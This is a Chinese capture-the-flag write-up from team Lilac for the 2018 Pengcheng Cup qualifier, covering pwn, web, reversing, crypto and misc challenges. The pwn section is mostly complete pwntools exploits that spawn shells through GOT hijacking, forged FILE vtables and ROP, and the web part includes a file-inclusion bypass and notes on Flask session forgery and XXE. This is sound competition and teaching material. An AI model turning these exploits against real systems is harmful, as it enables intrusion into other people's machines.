2018鹏城杯 初赛 Writeup By Lilac
招一位web安全人员交流玩耍, 有意联系 echo -n N2ZlaWxlZUBnbWFpbC5jb20= | base64 -d
PWN
note
add note的功能存在溢出可以覆盖索引数组的下标为负数,可以hijack got表,这里选了close@got,NX关了可以在堆上执行shellcode,用jmp指令连接起来就行
from pwn import *
def add(index,length,content):
p.sendline("1")
sleep(0.5)
p.sendline(str(index))
sleep(0.5)
p.sendline(length)
sleep(0.5)
p.sendline(content)
sleep(0.5)
#p = process("./note")
p = remote("58.20.46.151",41214)
add(0,"13" + "\x00"*8 + p32(0xfffffff3), 'H1\xd2\x90\x90P\xeb\x18')
add(0,"13",'H\x8d=9\x00\x00\x00\xeb\x17')
add(0,"13", '^\xb0;\x0f\x05')
add(0,"13","/bin/sh")
p.sendline("2")
p.interactive()
random
printf_chk可以用来leak libc、elfbase、heap。fopen会在堆上分配空间存放io file结构体,fclose以后指针没有清空存在uaf,scanf("%1000s",)会先分配一个大堆来存放输入,利用uaf可以在原来的file结构体上伪造一个新的结构体,设置好vtable在fread的时候拿shell
from pwn import *
import struct
_IO_USE_OLD_IO_FILE = False
_BITS = 64
def _u64(data):
return struct.unpack("<Q",data)[0]
def _u32(data):
return struct.unpack("<I",data)[0]
def _u16(data):
return struct.unpack("<H",data)[0]
def _u8(data):
return ord(data)
def _usz(data):
if _BITS == 32:
return _u32(data)
elif _BITS == 64:
return _u64(data)
else:
print("[-] Invalid _BITS")
exit()
def _ua(data):
if _BITS == 32:
return _u32(data)
elif _BITS == 64:
return _u64(data)
else:
print("[-] Invalid _BITS")
exit()
def _p64(data):
return struct.pack("<Q",data)
def _p32(data):
return struct.pack("<I",data)
def _p16(data):
return struct.pack("<H",data)
def _p8(data):
return chr(data)
def _psz(data):
if _BITS == 32:
return _p32(data)
elif _BITS == 64:
return _p64(data)
else:
print("[-] Invalid _BITS")
exit()
def _pa(data):
if _BITS == 32:
return struct.pack("<I", data)
elif _BITS == 64:
return struct.pack("<Q", data)
else:
print("[-] Invalid _BITS")
exit()
class _IO_FILE_plus:
def __init__(self):
self._flags = 0xfbad2887 # High-order word is _IO_MAGIC; rest is flags.
self._IO_read_ptr = 0 # Current read pointer
self._IO_read_end = 0 # End of get area
self._IO_read_base = 0 # Start of putback+get area
self._IO_write_base = 0 # Start of put area
self._IO_write_ptr = 0 # Current put pointer
self._IO_write_end = 0 # End of put area
self._IO_buf_base = 0 # Start of reserve area
self._IO_buf_end = 0 # End of reserve area
# The following fields are used to support backing up and undo.
self._IO_save_base = 0 # Pointer to start of non-current get area
self._IO_backup_base = 0 # Pointer to first valid character of backup area
self._IO_save_end = 0 # Pointer to end of non-current get area
self._markers = 0
self._chain = 0
self._fileno = 0
self._flags2 = 0
self._old_offset = 0 # This used to be _offset but it's too small
# 1+column number of pbase(); 0 is unknown
self._cur_column = 0
self._vtable_offset = 0
self._shortbuf = 0
self._lock = 0
if not _IO_USE_OLD_IO_FILE:
self._offset = 0
self._codecvt = 0
self._wide_data = 0
self._freeres_list = 0
self._freeres_buf = 0
self.__pad5 = 0
self._mode = 0
self._unused2 = [0 for i in range(15 * 4 - 5 * _BITS / 8)]
self.vtable = 0
def tostr(self):
buf = _p64(self._flags & 0xffffffff) + \
_pa(self._IO_read_ptr) + \
_pa(self._IO_read_end) + \
_pa(self._IO_read_base) + \
_pa(self._IO_write_base) + \
_pa(self._IO_write_ptr) + \
_pa(self._IO_write_end) + \
_pa(self._IO_buf_base) + \
_pa(self._IO_buf_end) + \
_pa(self._IO_save_base) + \
_pa(self._IO_backup_base) + \
_pa(self._IO_save_end) + \
_pa(self._markers) + \
_pa(self._chain) + \
_p32(self._fileno) + \
_p32(self._flags2) + \
_p64(self._old_offset) + \
_p16(self._cur_column) + \
_p8(self._vtable_offset) + \
_p8(self._shortbuf)
if _BITS == 64:
buf += _p32(0)
buf += _pa(self._lock)
if not _IO_USE_OLD_IO_FILE:
buf += \
_p64(self._offset) + \
_pa(self._codecvt) + \
_pa(self._wide_data) + \
_pa(self._freeres_list) + \
_pa(self._freeres_buf) + \
_psz(self.__pad5) + \
_p32(self._mode) + \
''.join(map(lambda x:_p8(x), self._unused2)) +\
_pa(self.vtable)
return buf
def __str__(self):
return self.tostr()
def c1():
p.sendline("1")
sleep(0.5)
def c2(payload="1"):
p.sendline("2")
sleep(0.5)
p.sendline(payload)
sleep(0.5)
p.sendline("0")
sleep(0.5)
def c3():
p.sendline("3")
sleep(0.5)
#p = process("./random")#,env = {"LD_PRELOAD": "./libc.so"})
p = remote("58.20.46.151",41963)
libc = ELF("./libc.so")
c1()
c3()
payload = "%p"*393 + "hello1" + "%p" *12 + "hello2" + "%p"
p.sendline("2")
sleep(0.5)
p.sendline(payload)
sleep(0.5)
p.sendline("1")
sleep(0.5)
p.recvuntil("hello1")
addr1 = int(p.recv(14),16)
p.recvuntil("hello2")
addr2 = int(p.recv(14),16)
elf = addr1 - 0x2020B0
libc.address = addr2 - 0x20830
print hex(elf),hex(libc.address)
one = 0xf1147 + libc.address
payload = "%p%p%p%p%p%p%p%p%p1111%s" + p64(elf + 0x2020A0)
p.sendline(payload)
sleep(0.5)
p.sendline("1")
sleep(0.5)
p.recvuntil("1111")
heap = u64(p.recv(6).ljust(8,"\x00"))
print hex(heap)
print "one: " + hex(one)
file = _IO_FILE_plus()
file._lock = heap+0x2000
file.vtable = heap + 0xe0
fake = file.tostr()
vtable = p64(0x00) + p64(one)*0x20
#print fake
p.sendline(fake+vtable)
sleep(0.3)
p.sendline("0")
#gdb.attach(p)
p.interactive()
treasure
程序允许输入9字节的shellcode,可以构造一个read系统调用输入新的shellcode覆盖原来的shellcode来拿shell
from pwn import *
context.arch = "amd64"
#p = process("./treasure")
p = remote("58.20.46.148",44112)
s = asm(
'''
push rsi
push rdx
pop rsi
pop rdx
xor rdi,rdi
syscall
'''
)
p.sendlineafter("will you continue?(enter 'n' to quit) :","1")
p.sendafter("start!!!!",s)
nop = asm("nop")
p.sendline(nop*20 + asm(shellcraft.sh()))
p.interactive()
code
首先需要过check, 暴力跑出一个可行解就行了
#include <stdio.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
char char_set[] = "sABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
char key[8];
unsigned long long val = 0;
void inc_key(){
unsigned long long temp = val;
for(int i=0; i<8; ++i){
unsigned int cur_idx = temp % 53;
key[i] = *(char *)(char_set + cur_idx);
temp = temp / 53;
}
val++;
}
long long hash(){
int64_t v0; // ST08_8
int v2; // [rsp+10h] [rbp-10h]
int i; // [rsp+14h] [rbp-Ch]
int64_t v4; // [rsp+18h] [rbp-8h]
v4 = 0LL;
v2 = strlen(key);
for ( i = 0; i < v2; ++i )
{
v0 = 117 * v4 + key[i];
v4 = v0
- 0x1D5E0C579E0LL
* (((long long)(((__uint128_t)(-8396547321047930811LL * v0) >> 64) + v0) >> 40)
- (v0 >> 63));
}
return v4;
}
int main(){
char_set[0] = '\x00';
long long ret;
int iter =0;
unsigned long long total = 53^8;
while(key[8] != 'z' ){
iter++;
// puts(key);
if ( hash() == 0x53CBEB035LL ){
break;
}
inc_key();
}
if(key[8] == 0xff){
puts("no result");
}
puts(key);
return 0;
}
然后就是简单的栈溢出rop, 先leak puts 的地址, 然后再跳到one gadget即可
from pwn import *
import time
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
ru = lambda x : io.recvuntil(x)
sn = lambda x : io.send(x)
rl = lambda : io.recvline()
sl = lambda x : io.sendline(x)
rv = lambda x : io.recv(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
ip = "58.20.46.148"
port = 38733
LOCAL = False
X86_32 = False
break_points = [0x4008AB]
b_str = ''
for break_point in break_points:
b_str += "b *" + hex(break_point ) + '\n'
# libc = ELF('libc.so.6') if os.path.exists('libc.so.6') else elf.libc
elf = ELF("./"+filename)
if LOCAL:
io = process("./" + filename)
libc = elf.libc
else:
io = remote(ip, port)
libc = ELF('libc.so.6')
def wait(t=0.3):
sleep(t)
def mydebug():
gdb.attach(io, b_str)
key = "wyBTs"
PrdiR = 0x400983
got_puts = 0x601018
puts_off = libc.symbols['puts']
payload = 'a'*0x70 + p64(got_puts+0x70) + p64(PrdiR) + p64(got_puts) + p64(0x40082d)
wait()
sl(key)
wait()
sl(payload)
ru('Success\n')
res = rl()[0:6]
puts_addr = u64(res+'\x00\x00')
log.info('puts_addr: '+hex(puts_addr))
libc_base = puts_addr - puts_off
log.info('libc base: '+hex(libc_base))
one = libc_base + 0x4526a
wait()
sl(p64(one))
io.interactive()
OverInt
首先也是过两个check, 利用存在的整形溢出很好构造. 然后就可以任意地址写了.
第一次先同时leak puts 和 setbuf的地址, 然后算出libc.
第二次根据libc和leak的地址算出one gadget的地址, 跳到 one gadget即可
首先是计算绕过check的输入
#include <stdio.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
int target = 0x23;
int func(int v3, int i){
return ((i>>4) + v3*4) ^ (i<<10);
}
int main(){
int down = 0x21;
int up = 127;
for(char i=down; i<up; ++i){
for(char j=down; j<up; ++j){
for(char k=down; k<up; ++k){
for(char l=128; l<255; ++l){
int v3 = 0;
v3 = func(v3, (int)i);
v3 = func(v3, (int)j);
v3 = func(v3, (int)k);
v3 = func(v3, (int)l);
int ret = v3 % 47 + (v3 % 47 < 0 ? 0x2F : 0);
if(ret == target){
printf("%d %d %d %x\n", i, j, k, l);
return 0;
}
}
}
}
}
puts("no result");
return 0;
}
然后getshell
from pwn import *
import time
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'info'
ru = lambda x : io.recvuntil(x)
sn = lambda x : io.send(x)
rl = lambda : io.recvline()
sl = lambda x : io.sendline(x)
rv = lambda x : io.recv(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
filename = "./overInt"
ip = "58.20.46.149"
port = 35533
LOCAL = True
X86_32 = False
break_points = [0x0400913, 0x4009AC, 0x400AA6]
b_str = ''
for break_point in break_points:
b_str += "b *" + hex(break_point ) + '\n'
io = remote("58.20.46.149", 35533)
# io = process("./overInt")
def wait(t=0.3):
sleep(t)
def mydebug():
if(not LOCAL):
return
gdb.attach(io, b_str)
def func(v3, i):
return ((i>>4) + (v3*4)) ^ (i << 10)
key_target = 0x23
def get_key():
for i in range(ord('!'), ord('~')+1):
for j in range(ord('!'), ord('~')+1):
for k in range(ord('!'), ord('~')+1):
for l in range(ord('!'), ord('~')+1):
print('...')
v3 = 0
v3 = func(v3, i)
v3 = func(v3, j)
v3 = func(v3, k)
v3 = func(v3, l)
ret = v3%47
if(v3 == 0x23):
# print('target is %d %d %d %d'%(i, j, k, l))
target = [i, j, k, l]
print(''.join([chr(v) for v in target]))
return
key = '!'*3+'\x95'
target = 0x20633372
PrdiR = 0x400b13
got_puts = 0x602018
got_setbuf = 0x602020
got_printf = 0x602028
# puts = 0x4008F7
puts = 0x4009AC
main = 0x40087F
plt_puts = 0x400550
def leak_addr(addr):
pass_check()
sn(p32(32))
payload = p64(PrdiR) + p64(addr) + p64(plt_puts) + p64(main)
for i in range(0, 32):
sn(p32(0x38+i))
sn(payload[i])
ru("hello!")
wait()
res = rl()[0:6]
log.debug(repr(res))
addr = u64(res+'\x00\x00')
log.info('addr: ' + hex(addr))
return addr
# sn(p32(24))
def get_libc():
addr1 = leak_addr(got_puts)
log.info('puts:' + hex(addr1))
wait()
addr2 = leak_addr(got_setbuf)
log.info('setbuf:'+hex(addr2))
wait()
puts_off = 0x6f690
one_off = 0x45216
def get_shell():
puts_addr = leak_addr(got_puts)
libc_base = puts_addr - puts_off
log.info('libc base:' + hex(libc_base))
pass_check()
sn(p32(32))
payload = p64(PrdiR) + p64(0) + p64(libc_base+one_off) + p64(main)
for i in range(0, 32):
sn(p32(0x38+i))
sn(payload[i])
ru("hello!")
wait()
res = rl()[0:6]
log.debug(repr(res))
addr = u64(res+'\x00\x00')
log.info('addr: ' + hex(addr))
return addr
def pass_check():
# ru('Please set arrary number: ')
sleep(0.1)
sn(key)
ru('How many numbers do you have?')
sn(p32(5))
ru('the number')
sn(p32(target))
for i in range(0, 4):
ru('the number')
sn(p32(0))
ru("How many positions you want to modify?")
if __name__ == '__main__':
# mydebug()
get_shell()
# get_libc()
# sn(p32())
# pass
# get_key()
WEB
Three body 1
- 下载 /flag.txt 得到 flag
Myblog
- PHP 本地文件包含导致任意文件读取
- 通过扫描发现存在 YWJvdXQ=.php
- 读取该文件
- /index.php?flag=php://filter/convert.base64-encode/resource=YWJvdXQ%3D
<?php
$filename = 'flag.txt';
$flag = 'flag.txt';
extract($_GET);
if(isset($sign)){
$file = trim(file_get_contents($filename));
if($sign === $file){
echo 'Congratulation!<br>';
echo file_get_contents($$falg);
}
else{
echo 'don`t give up';
}
}
- 绕过即可读取 flag.txt
platypus@platypus:~$ curl 'http://58.20.46.148:26111/YWJvdXQ=.php?sign=&filename=php://input&falg=f&f=flag.txt'
Congratulation!<br>flag{nev1r_g1ve_8p_aer}
Shadow
- 读取 Flask config 得到 SECRET_KEY
- 发现客户端 SESSION 中存在字段 is_admin
- 通过 Flask 伪造 SESSION 修改 is_admin
- 上传 XML 文件利用 XXE 读取 Flag
REV
happy
程序打开一看肯定是动态解密代码的,用strace试了一下没有strace反调,没有的话用gdb动态调试。用catch syscall write
来捕获write调用,找到代码解密后的位置之后dump分析之。
发现加密过程有点像DES,在内存中得感觉像是SBOX的数组,搜一下果然是DES的SBOX,先解一下看。
from Crypto.Cipher import DES
dest = [39L, 66L, 172L, 166L, 75L, 144L, 164L, 125L, 71L, 64L, 204L, 69L, 127L, 161L, 44L, 188L, 131L, 82L, 94L, 81L, 96L, 249L, 238L, 79L, 61L, 104L, 221L, 222L, 232L, 116L, 250L, 26L, 83L, 34L, 91L, 19L, 199L, 229L, 122L, 94L, 88L, 128L, 176L, 101L, 153L, 241L, 91L, 79L]
key="hAppysad"
des = DES.DESCipher(key)
print des.decrypt(''.join(map(chr, dest)))
其中的key在dump中的程序找不到,但可以在调试时得到。
解出flag:
flow
pyexe的逆向,用unpy2exe得到pyc文件后用uncompyle6得到源代码。源代码被混淆过,手动重命名去混淆得到如下的代码
import sys, os, hashlib, time, base64, random, itertools
from flag import flag
from pwn import *
class Cipher:
def __init__(self, public=None, lenth=16):
self.lenth = lenth
self.public = public
val = hashlib.md5(self.public.encode('utf-8')).hexdigest()
self.vala = hashlib.md5(val[0:16].encode('utf-8')).hexdigest()
self.valb = hashlib.md5(val[16:32].encode('utf-8')).hexdigest()
self.valc = ''
def encode(self, string):
self.valc = hashlib.md5(str(1234).encode('utf-8')).hexdigest()[32 - self.lenth:32]
string = '0000000000' + hashlib.md5((string + self.valb).encode('utf-8')).hexdigest()[0:16] + string
self.result = ''
self.docrypt(string)
return str(self.valc + base64.b64encode(self.result))
def docrypt(self, string):
string_lenth = len(string)
self.result = ''
sbox = list(range(256))
randval = []
cryptval = self.vala + hashlib.md5((self.vala + self.valc).encode('utf-8')).hexdigest()
val_lenth = len(cryptval)
for i in range(255):
randval.append(ord(cryptval[i % val_lenth]))
for i in range(255):
sidx = 0
sidx = (sidx + sbox[i] + randval[i]) % 256
tmp = sbox[i]
sbox[i] = sbox[sidx]
sbox[sidx] = tmp
for i in range(string_lenth):
j = sidx = 0
j = (j + 1) % 256
sidx = (sidx + sbox[j]) % 256
tmp = sbox[j]
sbox[j] = sbox[sidx]
sbox[sidx] = tmp
self.result += chr(ord(string[i]) ^ sbox[(sbox[j] + sbox[sidx]) % 256])
def block_chng(block):
W = 4
perm = range(W)
random.shuffle(perm)
while len(block) % (2 * W):
block += '.'
for i in xrange(100):
block = block[1:] + block[:1]
block = block[0::2] + block[1::2]
block = block[1:] + block[:1]
res = ''
for sidx in xrange(0, len(block), W):
for lsboxl in xrange(W):
res += block[sidx:sidx + W][perm[lsboxl]]
block = res
return block
if __name__ == '__main__':
rc = Cipher('sdfgowormznsjx9ooxxx')
string = '1234'
string = block_chng(string)
st = rc.encode(string)
print st
连接服务器拿到密文后使用密文进行解密,解密难度不大,最后一步参考了这篇文章
最终写出解密脚本
import sys, os, hashlib, time, base64, random, itertools
import random
import itertools
from CaR import *
enc = '0036dbd8313ed055NJD5H1Ufzl75Uffc1cp9LhnZx9Ydj6VpRRfquCuDqt9x3ku7ovvsgE3WdikR1I8T08N+dIoyipit+q/lALO35Pww'
enc = base64.b64decode(enc[16:])
rc = Cipher('sdfgowormznsjx9ooxxx')
rc.valc = hashlib.md5(str(1234).encode('utf-8')).hexdigest()[32 - 16:32]
rc.docrypt(enc)
msg2 = rc.result[26:]
# msg2 = 'd73g.669l78fce0114217d}fa91a7e754.fff{12'
for perm in itertools.permutations(range(4)):
msg = msg2
for i in xrange(100):
msg = msg[1:] + msg[:1]
msg = msg[0::2] + msg[1::2]
msg = msg[1:] + msg[:1]
res = ""
for j in xrange(0, len(msg), 4):
for k in xrange(4):
res += msg[j:j+4][perm[k]]
msg = res
if "flag" in msg:
print(msg)
得到flag
ctopia
本题的游戏还不错,一开始先运行游戏玩了一下,在第一幕结束的时候显示Decrypt Process 0%。然后开始分析程序。
题目很善良,所有调试信息都保留了,可以在mainloop中找到解密的逻辑,当游戏达到某些条件时,游戏会释放一部分key,调用Key::writekey函数将key写入resource/secret/secret.key文件中,然后调用解密。因此直接在调试的时候手动调用writekye(1), writekye(2), writekye(3), writekye(4)和FinalDecrypt就可以得到flag
badlock
题目使用C++实现了一个虚拟机,相对于用C实现的虚拟机, 分析起来会费劲一些。
分析每一条指令,写出反汇编器如下
#-*- coding: utf-8
# stack is code in fact
# val_r2_stack is ip address
stack = [8, 0, 20, 8, 1, 0, 8, 2, 1, 8, 7, 9, 8, 8, 0, 8, 9, 0, 1, 9, 8, 1, 8, 2, 3, 7, 8, 516, 65532, 0, 5, 3, 9, 3, 1, 0, 260, 10, 0, 5, 4, 1, 1, 4, 3, 1, 4, 4, 10, 5, 1, 12, 5, 4, 11, 6, 1, 1, 1, 2, 3, 6, 5, 260, 65525, 0, 516, 1, 0, 255, 0, 0, 9, 0, 0, 255, 0, 0, 0]
inst = {
1: "add",
2: "sub",
3: "cmp_mem_z1_nz2",
4: "add_val_r2_stack",
5: "mov",
6: "store_val_r2_stack",
7: "load_val_r2_stack",
8: "movi",
9: "write_err",
10: "mov_p2m",
11: "mov_k2m",
12: "xor",
13: "check_reg",
255: "exit"
}
flag = 0
for i in range(0, len(stack), 3):
if i+2 >= len(stack):
break
opcode = stack[i]
op1 = stack[i+1]
op2 = stack[i+2]
if not inst.has_key(opcode):
cond = opcode >> 8
opcode &= 0xff
else:
cond = 0
if cond:
print(cond)
print("0x%02x: %s 0x%x, 0x%x" % (i, inst[opcode], op1, op2))
虽然反汇编的效果一般,但是加密逻辑很简单,可以据此写出注册机如下
key = [46L, 38L, 45L, 41L, 77L, 103L, 5L, 68L, 26L, 14L, 127L, 127L, 125L, 101L, 119L, 36L, 26L, 93L, 51L, 81L]
acc = 36
res = []
for i in range(20):
res.append(((i + acc) * 2) ^ key[i])
for j in range(4):
for i in range(19, 0, -1):
res[i] ^= res[i-1]
print ''.join(map(chr, res))
运行结果如下
CRYPTO
easyCrypto
这里的加密方法有点类似最近比赛的一道密码题,不过 prev_pt,prev_ct都是iv,没有变换,直接利用解密脚本.
flag:pcbctf{345f3_asss3_loasd_aswew}
MixMix
程序是rsa加密,其中e=3,返回密文和一半长度的d,其中d通过xor变换加密了,xor的密钥是伪随机出来的random.getrandbits(1024)
这里提供了624个之前的随机数,可以预测出伪随机的状态,从而得到xor的密钥,得到d的低位,由于e*d+1==k*phi
,用n代替phi则0<k<3
,从而近似得到d的高位为(2*n+1)/e或者(n+1)/e,这里得到的高位的最后两个字节不对,爆破了高位最后两字节,最终解出rsa.
解密cipher2脚本:
def pad_128(m):
assert len(m)<=128
if len(m)==127:
return '\x00'+m
if len(m)==128:
return m
assert False
def singleround(m):
L=bytes_to_long(m[0:128])
R=bytes_to_long(m[128:256])
nL=R
nR=L^BOX[R%32]
return pad_128(long_to_bytes(nL))+pad_128(long_to_bytes(nR))
def desingleround(m):
L=bytes_to_long(m[0:128])
R=bytes_to_long(m[128:256])
nR=L
nL=R^BOX[L%32]
return pad_128(long_to_bytes(nL))+pad_128(long_to_bytes(nR))
def cipher2(m):
xxx=m
for i in range(32):
xxx=singleround(xxx)
return xxx
def decipher2(m):
xxx=m
for i in range(32):
xxx=desingleround(xxx)
return xxx
flag{m1x_flag_for_alot_of_challenges_rsa_block_stream_ctf}
签名伪造
这题本身是个ElGamal forge题目,出题人疏忽,可是题目的s2h函数有漏洞,可以直接伪造admin用户,从而拿到(r,s),得到admin凭证,从而获取flag.
漏洞函数def s2h(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
,这个可以将字符通过的replace('0x', '')
连接起来可以很轻松绕过admin的判断,比如传入admi\x06\x0e,则经过s2h函数,则将6e连接起来了.
flag:flag{25478-92GSEF-jsaafa-I85266}
MISC
Welcome
flag{ausjnhjajfjakjw45}
Traffic Light
gif一共一千多帧,通过红灯绿灯黄灯分割,其中红灯为1,路灯为0,黄灯为每个字符的分隔符.先online分割gif,然后python处理.
得到flag:flag{Pl34s3_p4y_4tt3nt10n_t0_tr4ff1c_s4f3ty_wh3n_y0u_4r3_0uts1d3}
Quotes
密文 My+mission+in+life+is+not+mer ely+to+survive+but to+thrive+and+to+do+so+w ith+s ome+pass i on+some+compass ion+so me+humor+and+some+style
通过空格分割,每串字符串的字符个数是字母[a-z]的索引,统计个数,得到:wordgames
最终尝试:flag{word games}